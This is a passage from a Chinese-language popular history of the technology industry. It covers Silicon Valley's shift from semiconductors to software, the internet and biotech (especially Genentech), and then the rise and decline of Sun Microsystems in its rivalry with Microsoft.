从业人员差不多）招技术熟练的地板工，所以一直质量很好，慢慢地，开始接到大公司的合同，事业发展很快。即使在现在美国房地产不景气，很多装修公司没有生意的情况下，他手上的合同仍然多得做不过来。第二个例子是我自己的园丁，一位墨西哥移民。他开始只是一个人给人除草收拾院子。由于他为人热情，乐于助人（比如经常用自己的卡车替主顾运送大件商品），又守信用，他的雇主们就把他推荐给朋友用。很快他就接收不了新的主雇了，于是他把他的弟弟接来帮忙，两个人除了替人除草收拾院子，便开始做一些简单的房屋修缮和庭院规划(Landscape)工作。渐渐他就积累起一些财富，雇了一些帮手，开办了一个小的庭院规划的公司。在房价很高的硅谷，也买上了房子，实现了他的美国梦。\n想反，如果一个人不能脚踏实地做点实实在在的事情，即便名气再大，才高八斗，在硅谷也很难混下去。大多数时候，硅谷公司需要的是能真正做事情的人，而不太看重那些不能带来实际效益的名气。在 2000 年，由于互联网泡沫导致硅谷过度繁荣，几乎所有的公司都找不到人，那时找工作很大程度上凭一张嘴。很多经常跳槽而不脚踏实地做事的人跳来跳去跳到一个主管的位置。2001 年以后，用人不当的公司很多倒闭或被迫大量裁员，真正的高手或者还呆在原来的公司，或者被别的公司录用，或者转到了学术界。而一大群各个级别的混混都到了“人才市场”上待价而沽。这些人中很多原本是技术精英和管理人才，但是一旦养尊处优时间长了，名不符实了，便很难再在硅谷生存了。偶尔会有一两个小公司到那里去找人做事，常常一下子围上一大堆人。如果问他们会做什么，大部分给你的答案都相同，“如果你给我一个团队，我一定能替你管好。”这里面虽然不乏真正的管理者，但是很多是眼高手低的高手。招人的公司显然不傻，它们需要干活的而不是养老的。\n硅谷相对于美国其它地方是机会最多也是最均等的。因此虽然这里工作压力大，竞争激烈，还是不断有人愿意来。全世界很多国家想学习硅谷建立自己的科技园，但是至今没有一个能像硅谷这么成功的。我想这些科技园的管理者们，也许首先应该问问自己是否为创业者提供了同等的机会，还是将人按照财富、经历、名气预先分为了三六九等。（我对一些科技园按照学历、职称引进人才和投资额招商很不以为然。）自古英雄不问出处，今天落魄的学子可能就是明天业界的领袖。\n11.4 硅含量不断降低\n旧金山湾区之所以得名硅谷是因为早期这里的公司大多数是半导体公司或者计算机硬件公司。我们前面介绍的惠普公司虽然不能算是一家半导体公司，但它是以计算机和仪器等硬件为主的公司，可以算是硅谷早期主流公司的代表。但是，最早诞生于硅谷的真正的半导体公司是仙童半导体（Fairchild Semiconductor）。\n今天知道仙童公司的人已经不多了，但它在半导体历史上占据着独一无二的地位。仙童半导体公司是从夏克利半导体（Shockley Semiconductor）“叛逃”的科技史上著名的“八叛徒”（Traitorous Eight）创办的。其中最有名的是后来英特尔公司的创始人、摩尔定理的提出者戈登·摩尔和集成电路的发明人罗伯特·诺伊斯（Robert Noyce）。仙童半导体公司在五十年代末制造出世界第一个商用半导体集成电路。（注释：对于是谁第一个发明集成电路，现在仍有争议，德州仪器公司的专利比仙童的早，但是，仙童是世界上第一个做出了实用产品的）尽管现在仙童公司早已江河日下了，但是每一个计算机用户一定知道它的两个孩子—英特尔公司和 AMD 公司。\n自仙童以后，在旧金山湾区诞生了许许多多的半导体公司，包括今天世界上最大的半导体公司英特尔，旧金山湾区从此赢得了硅谷之名。直到八十年代，半导体和计算机硬件一直是硅谷的支柱产业，其中著名的半导体公司还有国家半导体和 Maxim 等公司，而中小公司就更是不计其数了。在九十年代前，硅谷著名的大公司有：惠普，英特尔，Sun，SGI，IBM （Almaden），甲骨文（Oracle），苹果，3Com， Seagate，AMD，国家半导体（National Semiconductor）。其中只有 Oracle 是以计算机软件和服务为主的公司， IBM 的 Almaden 实验室基本上是一半软件（DB2）一半硬件（存储设备），其余都是半导体公司或者计算机硬件公司。这段时间可以称得上是硅谷半导体公司的黄金时代。\n但是九十年代后，虽然硅谷的半导体业还在发展，新的半导体公司还在诞生，但是，半导体在硅谷经济中的比重已经大大不如以前了。2000 年后，硅谷最大的公司是思科，谷歌，英特尔，IBM，甲骨文，苹果，惠普，雅虎，基因科技（Genentech）和 Ebay。其中谷歌，雅虎和 Ebay 是互联网公司，IBM 将存储设备部门卖给了日立公司后在 Almaden 是一个纯软件和服务的公司，而基因科技干脆就不是 IT 科技公司，而是世界上最大的生物制药公司。它们都和半导体毫无关系。即使是英特尔，也已经将其工厂迁到美国其它州以及海外，它甚至逐步将研发部门迁到费用低廉的亚利桑那和俄罗冈州。进入二十一世纪后，硅谷在世界经济和科研上的地位有增无减，半导体在全世界经济中所占的分量仍然在增加，只是硅谷的核心产业越来越远离半导体了。\n造成硅谷半导体衰退的直接原因有两个，首先是反摩尔定理的效应。由于半导体的价格每十八个月降一半，当一个公司研制出来一个新的芯片以后，它不能指望像制药公司那样随着销量的上升而不断增加利润，因为用不了多少时间，这个芯片的利润就薄得必须淘汰了。整个半导体工业天天都在为利润率发愁。从这个角度讲，半导体工业很难在费用高的硅谷长期发展。我们前面提到，硅谷是一个拒绝平庸的地方，当一个行业的利润率无法维持硅谷高昂的费用时，它就必须搬出硅谷。\n其次是“亚洲制造”效应，由于硅谷靠半导体和计算机硬件起飞，在七十年代它便聚集了很多半导体和计算机硬件的专家和工程师。同时，也促进了斯坦福大学和伯克利加大电机工程系的发展。这些人或者从仙童等第一代半导体公司跑出来，或者离开斯坦福和伯克利，开始了第二轮的半导体公司和计算机硬件公司的创业。其中的代表者包括开发和制造 RISC 处理器的 MIPS 公司，Sun 公司和 SGI 公司，以及 LSI 等中大等规模的公司。这些公司大部分还是由美国人为主创办。在第二代公司中有大量亚裔的工程师和主管。他们通过第二轮半导体的创业，积累了财富和经验，其中一些人后来成为世界第三轮半导体公司创业的中流砥柱。等到有大量亚裔专家出来再创办半导体和计算机公司时，他们很容易将制造甚至设计部门移到成本比美国低很多的东亚尤其是中国台湾，而只在硅谷保留科研部门。这时期最有代表性的包括当今世界上最大的显卡公司 Nvidia。其创始人黄仁勋，生于台湾，毕业于斯坦福，任职于 LSI 和 AMD，然后创办 Nvidia。这时在硅谷半导体时代创业最经典的例子。当硬件制造业移到台湾后，半导体业的整体利润就被大大地压缩了，从此改变了半导体和计算机硬件行业的游戏规则。于是以前的半导体公司为了竞争的需要都纷纷将工厂外移。到后来，大家发现一些低端的设计亦可以拿到台湾去做，硅谷的硅含量就越来越低了。\n硅谷兴起于半导体工业，三十年前，硅谷就是半导体的同义词。但是现在半导体工业在硅谷的比重在不断下降。世界上很多城市因为一个产业而兴起，比如德国的鲁尔兴起于采煤和炼钢、美国的匹兹堡和底特律分别靠钢铁业和汽车业发达，但是，随着这些工业的饱和和衰落，相应的城市也渐渐衰落了。二十年前，当半导体公司开始离开硅谷时，不少人也怀疑过是否早晚有一天硅谷会步匹兹堡和底特律的后尘，二十年过去了，这种因产业变革带来的地域性衰退并没有在硅谷发生。事实上，没有了半导体，硅谷反而更加繁荣了。\n硅谷没有了硅，那么留下了什么呢？\n11.5 亘古而常青\n中国二十几年前有一本叫《神鞭》的小说，现在可能已经没有多少人记得了。小说讲述了一个发生在清朝末年的故事。主人公傻二从小练就了神奇的辫子功夫，在冷兵器时代他罕有敌手。后来他参加了义和团，在和拿着洋枪洋炮的八国联军和假洋鬼子的对抗中一败涂地。劫后余生的傻二剪掉了辫子，练就了百步穿杨的神枪法，并用他的枪惩戒了汉奸。他对别人讲：“辫子没有了，神留下。”硅谷也是一样，或者说半导体并不是硅谷真正的本质。硅谷的灵魂是创新。硅没有了，创新的灵魂留下了，它保证了硅谷的繁荣和发展。\n我很喜欢德国一位诗人讲过的一句话：亘古而常青的昨天永远是过去，也永远会再来。这句话描述硅谷再合适不过了。当仙童和英特尔的神话已经成为过眼云烟时，在硅谷开创半导体公司的热浪仍然随着惯性持续了一段时间，但是英特尔那样的神话并没有重现，以后也很难有新的半导体公司能做到英特尔的规模。虽然有些投资者为自己错过英特尔的机会而惋惜，但是，人们很快在硅谷找到了新的金矿——软件业。\n在信息时代，微软向全世界证明了计算机软件可以独立于计算机硬件系统成为一个赚钱的行业。同时（在企业级市场上）证明这一点的，就是甲骨文公司。在甲骨文和微软以前，计算机软件必须随着计算机硬件一起出售，无论是大型机公司 IBM ，还是小型机公司 DEC 和惠普都是如此。而 IBM 公司的商业模式以前是，今天仍然是硬件、软件加服务的捆绑销售。过去要想用 IBM 的系统，必须买 IBM 的硬件，外加每年百分之十左右的高额服务费，它的软件不单卖。甲骨文公司尝试了一种新的商业模式，并很快获得成功。这种商业模式今天说起来简单得不能再简单了，就是一次性卖软件的使用权，而这在当时是对 IBM 商业模式颠覆性的革命。这样用户不再需要每年向 IBM 等公司缴纳高额的服务费了。甲骨文公司看中了当时市场最大的数据库软件，开发出和 IBM 相抗衡的 SQL 数据库系统，很快靠“卖软件”的方式占领了市场，并且仅仅依靠数据库系统一种应用软件就成为了世界上第二大软件公司。后来就连 IBM 也学着甲骨文卖软件了。甲骨文成功后，硅谷很多人纷纷效仿办起了各种各样的软件公司，包括很成功的做 Photoshop 的 Adobe 和财务软件 Turbo Tax 的 Intuit（Google的邻居）。虽然很多基于 PC 的应用软件的公司都不断的被微软挤垮，但是总是不断有新的冒出来并且成长壮大。而企业级的软件公司由于和微软的冲突较少，更容易生存下来。\n当计算机软件创业的浪潮尚未完全平息时，互联网又在硅谷兴起了。我们已经介绍了和互联网有关的思科公司，今后还会介绍 Google 和 Ebay，这里就不再赘述互联网的发展了。值得一提的是，以 Google 和 Yahoo 代表的互联网公司，颠覆了以微软代表的软件公司向每一个终端用户（End User）收钱的商业模式。而通过在线广告的收入保证终端用户可以免费享受以前的付费服务。除了当今世界上最大的 Google、Ebay 和 Yahoo 三家互联网公司在硅谷外，世界上三家最大的 Web2.0 公司中的两家，YouTube 和 Facebook 也在这里。（另外一家 Myspace 在好莱坞。）在硅谷的人，不论是投资者还是创业者，已经习惯了这种快速的产业变迁，人们不断在寻找着下一个思科、下一个 Google 。其实，硅谷的创新并不局限于 IT 领域。生物科技无疑是硅谷另一个亮点。今天的硅谷，也是世界上新兴生物公司最集中的地方。硅谷拥有美国前十名的医学院中的两所——旧金山加大医学院和斯坦福医学院，以及世界上最好的化学系伯克利加大化学系。再加上充足的风投资金，便为创办生物和医药公司创造了条件。当然，硅谷人的创业热情在其中起了决定性作用，否则哈佛大学和约翰霍普金斯大学周围应该有很多的生物公司才对。\n创办一家生物公司要比一般的 IT 公司更难，这主要是因为美国食品与药品管理局（US Food and Drug Administration，简称 FDA ）的限制，使得一项生物科技的发明很难在短时间即几年内变成产品和利润。所以，创办生物公司投入大、周期长。但是，在冒险家乐园的硅谷，仍然有很多人坚韧不拔地在生物科技领域艰苦地创业，它们中间不乏成功者。最典型的就是基因科技公司。该公司成立于一九七五年，早期，它依托于旧金山加大医学院，专门研究和生产抗癌药品比如 Avastin 和 Rituxan。今天基因科技已经是世界上最大的生物药品公司，有一万多名员工，包括无数杰出的科学家，市值达八百亿美元。并且，在 Google 以前，它是全美最好的雇主。\n基因科技的成功经验很值得大书特书。但是，由于它不属于我们整个系列讨论的范围，我没有把它单独成章。但是，透过基因科技，我们可以看到硅谷的灵魂所在，因此我们简要介绍一下这家大家也许并不熟悉的公司。\n在介绍基因科技之前，我们有必要先介绍一下美国医药市场的简单情况，这样才能理解基因科技公司的商业模式和经营方式。在美国，除了像西洋参和卵磷脂那样的保健品外，药品分为两类，一类是处方药比如抗生素，另一类是非处方药比如治感冒的泰诺。前者利润当然远远高于后者，而其中又以有专利的新药最挣钱。比如基因科研一共只有十种药品在市场上销售，每种药销售额最低的每年也有几亿美元，最高的 Avastin 年销售额近三十亿美元。美国专利法保证二十年内新药的知识产权。也就是说在这二十年里，一种有效的新药可以非常挣钱，而过了专利期，其它厂家可以仿制时，它的利润就一落千丈了。而新药的研制投入是非常巨大的，但是其生产的成本可以忽略不计，（甚至盗版的成本都很低）。在这一点上制药业非常像软件工业。（实际上，世界上药品的盗版甚至比软件盗版来的严重。）虽然药品市场没有反摩尔定理限制它的利润逼着医药公司发明新药，但是专利法起到了同样的作用，它既保护发明，又防止个人和公司长期垄断发明。如果一个公司旧的支柱药品专利到期了，而新的专利药品还没有跟上来，这个公司的业绩就会一落千丈。两年前默尔克（Merck）公司便是如此。因此，制药公司的竞争关键是创新的和科研效率的竞争。\n照理讲，药品是一个规模非常大的行业，应该有很多新的公司冒出来才对。但是，美国食品和药品管理局 FDA 人为造成了这个行业极高的门槛。根据 FDA 的规定，所有处方药和用于临床的医疗仪器甚至是治疗方法的临床试验，都必须得到 FDA 的许可，更不用说在市场上销售了。而这些许可证是极难拿到的，要进行无数对比试验并且要尽可能了解和降低所有可能的副作用。FDA 的初衷很好，因为人命关天不能不仔细，但是这也使得小公司几乎无法进入处方新药的市场。其直接结果就是保护了原有的大公司利益和垄断性利润。（一种观点是，大制药公司通过 FDA 维护自己现有利益。）传统大的制药公司诸如辉瑞（Pfizer）和默尔克（Merck）的研究部门很像三十年前的贝尔实验室，一个科学家进去一干就是一辈子。而这些公司的高额垄断利润也养得起这些科学家。当然，人浮于事、效率低下和官僚主义在里面也屡见不鲜。由于 FDA 的保护，创业的小公司要打破原有制药公司的垄断是件很难的是。这就是我们很难看到小的生物公司成功的原因。\n而以创新著称的硅谷却敢于挑战传统。基因科技公司的崛起，打破了传统制药业平静的水面，创造了一个神话。相对于有一百五十年历史的辉瑞制药（它的伟哥闻名于世）和一百多年历史的默尔克相比，有三十年历史的基因科技只能算小孙子。虽然它今天的销售额只有辉瑞的四分之一，但是却以每年百分之二三十的速度发展，而辉瑞制药基本上处于停滞状态，营业额时高时低，因此基因科技超过辉瑞只是时间问题。基因科技在早期阶段，无论从财力、人力以及和 FDA 的关系都无法和辉瑞等公司相比。它成功的关键就在于创新和执着。和生产上百种药品和保健品的辉瑞公司不同，基因科技公司只能集中于少数抗癌特效药，并保证每一种年销售额均在亿元以上。为了防止专利到期而带来的利润锐减，基因科技将销售额的百分之二十，去年是二十三亿美元投入到新药的研制上。在它现在的研发产品线上，有十四种药和治疗方法已经进入了上市前最后的阶段，十五种药和治疗方法进入了研制的第二阶段，十三种处于初期阶段。可以说今后若干年，基因公司产品线上会源源不断地推出新药，替代慢慢专利到期的旧药成为新的成长点。\n创新必须依靠技术实力。和 Google 一样，基因科技也是世界上单位办公面积博士密度最高的公司。就连它的七名董事中都有五名博士，九名执行官中也有六名博士。基因科技里的科学家在同行中是佼佼者，在公司内部地位也很高。基因科技是我读过的上百个大公司年度报告中唯一介绍其所有资深科学家（Staff Scientists）的公司。当然，技术只是保证公司成功的诸多必要条件之一，但远不充分。要保证创新，公司的体制非常重要。这就如同一个国家，它的体制决定了它的发展。在传统的制药公司辉瑞制药，它是一个从日用品（这个部门最近卖给了强生公司）到最赚钱的药什么都做得巨无霸医药公司，它在全美国最赚钱的十个药中占有四席，它每年用于新药的研发经费也高达八十亿美元，足足是基因科技的四倍，但是它的研发效率却是主要医药公司中最低的，它那些挣钱的药主要是靠购买专利获得的，而不是自己开发的。（因为 FDA 设置的门槛，一个大学的研究室和小公司很难拿到 FDA 的许可证，所以采用将专利卖给大制药公司的做法。）这倒不是辉瑞科学家的水平不如基因科技，也不是他们不够努力。只有公司体制好，像辉瑞这么有钱的公司不愁找不到最好的科学家，只有有一个良好的知识转化成技术再成产品的有效途径以及公平的分配制度，不愁这些科学家开发不出好药。遗憾的是辉瑞旧式的体制恰恰做不到这一点，而基因科技完全按照IT公司的模式经营，却做到了这一点。\n创新是在竞争中立于不败之地的保障，这任何国家任何领导人都懂得的道理。很多国家都投了大量的资金建造自己类似硅谷的科技园，以鼓励创新，但鲜有成功的。主要是因为其它地方很难再复制硅谷的天时（二战后 IT 工业的发展）、地利（背靠斯坦福和伯克利）和人和。而这其中，人和是最重要的，它就是在硅谷发展起来的新型的生产关系。这是硅谷在全世界最特殊的地方，并充分保障了创新。在生产关系中，在以科技为主的行业，生产资料的作用微乎其微，像微软和 Google 这样的公司，除去现金后，资产占不到市值的十分之一。那么人的作用就是关键，具体讲就是利润的分配方式和人与人的关系。科技公司的期权制保证了各级雇员除了工资以外，可以从公司的利润中分到一杯羹。因此，他们的利益和公司的利益息息相关。硅谷科技公司（包括基因科技等生物公司）在上市前，一般员工的股权可以占到公司的百分之十到十五。也就是说像 Google、英特尔和思科这样规模的公司，每家都有几十亿美元的财富掌握在员工手中。员工从股票上的收益可以大于自己的工资，这就是大家拼命干活的动力。在人与人、雇员与雇主的关系上，硅谷的环境是对发挥员工创造性最有利的。公司内上下级之间虽然有等级的差异但是彼此是互相尊重的。（有些时候，一个优秀员工的级别和收入可能比他的直接上级还要高。）这样大家在一起共事就会觉得相对“舒服”一些，每个人都容易安心做好份内的事，而不是必须勾心斗角往上爬。硅谷的基因科技和 Google 在最近的好几年中，被评为全美国最适合工作的公司。硅谷公司对员工的约束也很宽松，一般不会阻止员工跳槽，更不会因此打官司。甚至当员工利用职务之便搞发明创造（只要不是偷技术）然后出去创业，硅谷公司（包括各研究所）也不会像美国其它地方公司追究得那么厉害的，而一般采用入股的方式做到双赢。思科创始人和斯坦福之间就是这样解决了知识产权问题。我们可以毫不夸张地讲，硅谷的主流生产关系是世界上最先进的，这也正是保障了硅谷的创造力长盛不衰的原因。\n结束语\n今天，旧金山附近恐怕已经找不到一块金矿石了，“旧金山”这个名字只能代表它过去的历史。也许有一天，硅谷没剩下一家半导体公司，那时大家会说这里曾经有过半导体工业。但是它绝不会像底特律和匹兹堡那样从此衰落下去，而仍然会是世界科技之都，因为硅没有了而创新留下来了。硅谷的竞争仍然会很激烈，不断会有旧的公司消亡，旧的产业衰退，又不断会有新的公司创立和成长，新的产业诞生和繁荣。硅谷过去是、今天是明天还是年轻人梦开始的地方。\n第12章 短暂的春秋：与机会失之交臂的公司\n奥地利著名传记作家茨威格在他的《人类的群星闪耀时》一书中写道“一个真正的具有世界历史意义的时刻——一个人类的群星闪耀时刻出现以前，必然会有漫长的岁月无谓地流逝而去，在这种关键的时刻，那些平时慢慢悠悠顺序发生和并列发生的事，都压缩在这样一个决定一切的短暂时刻表现出来。这一时刻对世世代代作出不可改变的决定，它决定着一个人的生死、一个民族的存亡甚至整个人类的命运。”\n“在人类在命运降临的伟大瞬间，市民的一切美德——小心、顺从、勤勉、谨慎，都无济于事，它始终只要求天才人物，并且将他造就成不朽的形象。命运鄙视地把畏首畏尾的人拒之门外。命运——这世上的另一位神，只愿意用热烈的双臂把勇敢者高高举起，送上英雄们的天堂。”（节选自“三联版”舒昌善译本）在二十世纪八九十年代，就是一个科技工业史上群星闪耀的时代。在以前 ATT 和 IBM 的时代需要半个世纪才能发生的事，可能在这十年里一下就发生并结束了。在这个大时代，有很多公司原本有可能成为信息工业的王者，但是却最终与机会失之交臂。这些公司，不论当初多么辉煌，当它开始走下坡路时，被人遗忘的速度比它衰落的速度更快。今天，我们不妨回过头来看一看这些失落或者已经消失的争霸者，毕竟他们曾经在信息产业呼风唤雨过。这里，我们将介绍太阳公司（Sun Microsystems）、Novell 公司、网景（Netscape）公司和 Real Networks 公司。其中关于太阳公司的篇幅最长，因为它相对的影响力最大。网景公司的知名度曾经也很大，但是由于它和微软的浏览器之争的历史已广为人知，我们只是简要回顾一下这段历史，重点探讨一下它是否存在胜出微软的可能。Novell 公司和 Real Networks 公司的名气要小些，但是它们的的确确有过成为IT行业巨头的可能性和机遇，只是因为一些原因和命运失之交臂。\n12.1 太阳公司（Sun Microsystems）\n12.1.1 昔日的辉煌\n从斯坦福大学孵化出的高科技公司首推太阳公司（Sun Microsystems），它也是最早进入中国市场并直接与中国政府开展技术合作的计算机公司。在 2001 年的高峰期，太阳公司在全球拥有五万雇员，市值超过两千亿美元，不仅是它今天市值的三十多倍，而且远远超过今天市值排名第二的 Google 的一千七百亿美元、和排名第三的 IBM 的一千六百亿美元。它的办公面积超过五十个足球场（四十五万平方米），并且还有十几个足球场大小的办公楼正在建设中。太阳公司不仅打败了包括 IBM 在内的全部工作站（Work Station）和小型机（Mini Computer）公司，而且依靠它的 Solaris（一种Unix）和风靡世界的 Java 程序语言，成为在操作系统上最有可能挑战微软的公司。太阳公司不乏能人，它不仅为 Google 培养了 CEO 埃里克.施密特和首任工程部副总裁韦恩.罗森（Wayne Rosen），并且在一定程度上奠定了今天 Google 工程部门的基础。\n但是，今天的太阳公司，不仅人数规模、市场股值、办公面积远不能和当年相比（能人都走了，办公楼也卖了，股票一落千丈），而且彻底退出了 IT 领域霸主之争。太阳公司从 1982 年成立到 2000 年达到顶峰用了近二十年时间，而走下坡路只用了一年，足以令经营者为戒。\n太阳公司名称的由来很多人不知道，它其实是斯坦福大学校园网（Stanford University Network）的首字母缩写。当安迪.贝克托森 Andy Bechtolsheim （我们以后介绍 Google 时还会提到他）还是斯坦福大学研究生时，他设计出一种“三个百万”的小型图形计算机，称作图形工作站（Graphic Work Station）。这“三个百万”是指每秒一百万次的运算速度（现在微机的万分之一）、一百万字节的内存（今天 PC 的千分之一）和一百万象素的图形显示器（比今天的微机显示器低、比手机高）。但是，这在当时已经是很先进的了。贝克托森采用了摩托罗拉 68000 处理器，并用了一种当时很先进的内存管理器芯片来支持虚拟内存。和一般微机不同，网络功能是其必选项。贝克托森开发出原型机 Sun-1 后，便于 1982 年和斯科特.马可尼里（Scott McNealy）等斯坦福毕业生从学校出来创办了太阳公司。马可尼里担任了公司的 CEO，直到两年前退休。半年后，公司便盈利了。这是我知道的最快实现盈利的科技公司。四年后的 1986 年，太阳公司在纳斯达克挂牌上市，当时的股票代号是 SUNW，即太阳工作站的缩写，而不是今天的 JAVA。\n太阳工作站早期采用摩托罗拉公司的中央处理器。1985 年，太阳公司研制出自己的 SPARC 减指指令（RISC）处理器，将工组站性能提高了一大截，并且保证了工作站在对 DEC 和 HP 小型机的竞争中最终胜出。在九十年代前很长的时间里，太阳公司的竞争对手是小型机公司和 SGI 等图形工作站公司，虽然在具体的商业竞争中，太阳和 DEC 等公司互有胜负，但是太阳总的来讲是无往不利。太阳公司的胜利，实际上是基于 Unix 服务器和工作站的系统对传统集中式中小型机（以DEC、HP 为代表）和终端系统的胜利。前者淘汰后者是计算机和网络技术发展的必然趋势。\n但是，太阳公司远没有当年 ATT 和 IBM 那样的好运气，后者一个主流产品可以销售十几年。而太阳公司崛起的时候正是信息革命的大时代，一切技术革命的周期都被大大地缩短了。九十年代以来随着微机的发展，基于微机的网络系统占领了中小企业很大的市场。虽然早在 80 年代，3Com 和 Novell 就在推广它们基于微机的以太网系统，但是他们的业务和太阳没有太大的重复，因此不会威胁太阳公司的发展。到九十年代后期，情况发生了根本性的变化。在硬件上，高端微机在计算速度上已经不逊色于低端工作站，但价钱便宜了很多。在软件上，微软公司推出Windows NT 后，有了企业级（enterprise）的网络操作系统解决方案。这样，高端微机取代低端工作站和小型机进入企业级市场的时机就成熟了，企业级的霸主的争夺战就在微软和太阳之间展开了。\n太阳公司的位置非常像微机争霸战中的苹果公司。它有自己成套的硬件和操作系统，但是它缺乏应用软件。太阳的 Star Office 至今恐怕除了它自己没有其它象样的公司在使用。而微软只做软件，而且只做操作系统（Windows NT），数据库 SQL Server 和办公软件（Office）等少数但同时是至关重要的软件。这三种软件是一个企业必不可少的。\n这次争霸对微软来讲比它和苹果的竞争要轻松的多，首先，1995 年的微软已经不是八十年代初的小公司了，它当时已经成为历史上罕有的高成长、高利润公司。有了钱，一个有雄心的企业家就能找到自己想要的人。比如盖茨甚至为了照顾那些不愿意搬家的数据库专家，在他们现有的城市设立研发办公室。这是微软早期在和苹果竞争时根本做不到的；其次，微软已经在微机领域形成了垄断，并且它很善于将垄断的优势扩展（Leverage）到其它领域—非计算机专业的用户接受微软的 Windows NT 操作系统比接受太阳的 Solaris 要容易得多，因为大家在自己家的微机上使用和NT没有什么区别的 Windows 3.1 和 Windows95；第三，在应用软件开发上，微软更多地依靠第三方，而太阳和苹果一样，经常不得不自己开发。（苹果公司也曾面临同样的问题。）我们知道，一种操作系统是否能推广，关键看上面有多少应用软件可用。微软 Windows NT 上的应用软件比太阳 Solaris 多得多。最后，也是最关键的，就是人的因素。我们不能不承认，微软的管理团队是当时世界上 IT 领域最好的，比尔盖茨当年也是最棒的工业界领袖。\n反观太阳公司，它的操作系统 Solaris 在技术上比 Windows NT 有明显的优势。我们在这里跳过技术上的细节，因为把它讲清楚需要花很大的篇幅。事实证明，包括 Solaris 在内的各种 Unix 操作系统比 Windows NT 能更好地利用计算机资源，尤其是当计算机系统庞大、用户数量巨大增加时。1997 年，微软买下了 Hotmail 后，花了很大力气想把后者的电子邮件服务系统从它原有的两种 Unix（FreeBSD和Solaris）操作系统移植到微软自己的 Windows NT 下，居然没有成功，因为 Windows NT 管理这么多服务器和用户并不方便。但是，这件事微软又必须做，否则它无法说服企业级客户购买自己的操作系统。于是，微软花了更大的力气，终于把 Hotmail 移植到 NT 后来的版本 Windows 2000 上。但是据说其中某些功能仍然由 Unix 来完成。太阳公司版的Unix，即 Solaris 是所有商业版中最可靠最完善的版本。太阳和微软之争，其实就是企业级的操作系统之争。对太阳来讲，取胜的关键在于是否能将它在 Unix 上的技术优势转换为市场优势。\n马可尼里领导的太阳公司在很长时间里甚至没有看出决战操作系统的重要性，这样太阳公司和微软公司的竞赛还没有开始就先输了第一回合。这倒不是马可尼里无能，而是马可尼里等人的“思维”锁定在卖硬件上了。虽然太阳公司的工作站当年每台要上万美元、服务器要十万美元，但是比 DEC 的小型机和 IBM 的大型机便宜多了。在九十年代末由于互联网的兴起，太阳公司的服务器和工作站销路太好了、太挣钱了。虽然太阳公司的中小企业市场份额不断被微软/英特尔联盟侵蚀，但是它也在不断占领原来 DEC 和 HP 小型机的市场并有足够的处女地可以开发。因此，它的整体业务还在不断扩大。这很像十六世纪的西班牙王国，虽然它的无敌舰队已经被英国人打败了，并失去了海上霸主的地位，但是由于世界上可殖民的处女地仍然很多，支撑着这个海上老二繁荣了两个世纪，直到十九世纪全世界再无殖民地可开拓时，西班牙早期埋下的危机才表现出来。当然，衰落要比繁荣来得快，在很短时间内，西班牙从欧洲的富国沦为穷国。太阳公司也是如此。从 1986 年到 2001 年，太阳公司的营业额从 2.1 亿美元涨到 183 亿美元，成长率高达平均每年 36%，能连续十五年保持这样高速度发展，只有微软、英特尔和思科曾经做到过。在这种情形下，很少能有人冷静地看到高速发展背后的危机。太阳公司当时不自觉地满足于捏 SGI、DEC 和 HP 这些软柿子、并沉溺于在硬件市场上的胜利，忽视了来自微软的威胁。但当 2000 年互联网泡沫破碎时，它以服务器和工作站为主的硬件业务便急转直下。2002 财政年度（到 2002 年六月），它的营业额就比前一年跌掉了三成，并且从前一年盈利九亿美元跌到亏损五亿美元。太阳公司找不到稳定的利润来源和新的成长点，从此太阳公司便江河日下，一下从硅谷最值钱的公司沦为人均市值最低的公司。\n12.1.2 错失良机\n在太阳公司，至少有两个人从中吸取了教训，就是后来成为 Google CEO 的施密特和太阳现在的 CEO 强纳森·施瓦茨（Jonathon Schwartz）。施密特当时是太阳公司主管软件的副总裁，他从太阳失败的教训中总结出了反摩尔定理，我们已经介绍过。施密特认识到依靠硬件的利润是不断下降的，而 IT 服务业的利润则是恒定的（并随着通货膨胀而略有增加）。如果说施密特是理论家，施瓦茨则是实践家，后者着手太阳公司从硬件制造商到IT服务的转型。遗憾的是，当时马可尼里领导的太阳公司没有看到、也很难看到这一点。\n事实证明，微软虽然是IT史上最可怕的对手，但是并非无懈可击。历史上甲骨文 (Oracle)、Intuit(Turbo Tax)、Adobe 和 Yahoo 以及今天的 Google 都在自己的领域打败了微软。微软虽然有世界上最好的计算机科学家和软件工程师，但是，它的产品在技术上很少领先于竞争对手，它更多的是靠商业优势取胜。上述公司看到了它们和微软竞争的关键所在，利用技术优势固守自己的领域，不给微软可乘之机，并最终胜出。九十年代时，Unix 相比 Windows NT 在中小企业的业务上占优势。各种版本的 Unix，包括开源的 Linux 都有自己稳定的客户。\n太阳应该做的第一件事便是利用它在 Unix 上的主导地位，或联合、或兼并其它 Unix 服务器厂商共同对付微软并稳守中大型企业市场。它至少可以在操作系统上和微软分庭抗礼。至今，Windows 的服务器在很多业务上还无法取代 Unix 的位置。但是太阳公司当年带头在 Unix 阵营里窝里斗，根本没有把精力转到和微软的竞争上。\n太阳公司该做的第二件事就是改变商业模式开源 Solaris，从卖操作系统变成提供服务。要知道，一份 Solaris 操作系统不过两三百美元，但是 IT 领域一小时的服务就能收这么多钱。但是，太阳公司以硬件业务（而不是服务业务）为主的商业模式使得它不可能开源 Solaris，因为它主要的钱来自于硬件。（正是这个道理，苹果也不可能把它的 iPhone 操作系统开源。）我在前面的章节中经常提到基因决定的理论，有些读者认为我是宿命论。但事实证明绝大部分公司包括很多伟大的公司都很难逃脱这个宿命。（也有一些例外的，以后我们会介绍这些例外的公司，比如通用电气 GE 公司和 3M 公司。）而相反，以服务为主的 IBM 公司倒反而比较早地加入了开源 Linux 的行列。2000 年以后，由于高档微机已经达到了工作站的计算速度，价钱又便宜很多，IBM 靠开源 Linux 服务器从对太阳公司的价格劣势变成了价格优势。等到 2004 年，太阳公司明白了这个道理，将 Solaris 开源， IBM 已经抢到了先机，成为 Unix 市场的最大服务商。\n马可尼里非常重视研发，太阳公司先后开发出 Sparc 系列处理器和工作站、Solaris 操作系统，这些产品为太阳公司带来了可观的利润。但是太阳公司最有意义的发明是至今没有给太阳公司带来什么经济效益的 Java 程序语言。太阳公司第三个遗憾之处就是没有能将 Java 间接地转化成利润。\n让我们来简要地回顾一下 Java 诞生的背景。九十年代以前，世界上的计算机要么不联网，要么在企业内部自己联网。可以被公众共享的内容和资源是很有限的。每个单位内部的计算机系统只要自己统一就好了。当互联网蓬勃发展起来的时候，不同计算机之间共享信息和资源的需求就产生了。这时，需要一种跨不同硬件和不同操作系统的新型平台（Platform），在这个平台上实现人机交流。一九九五年五月太阳公司发表了 Java 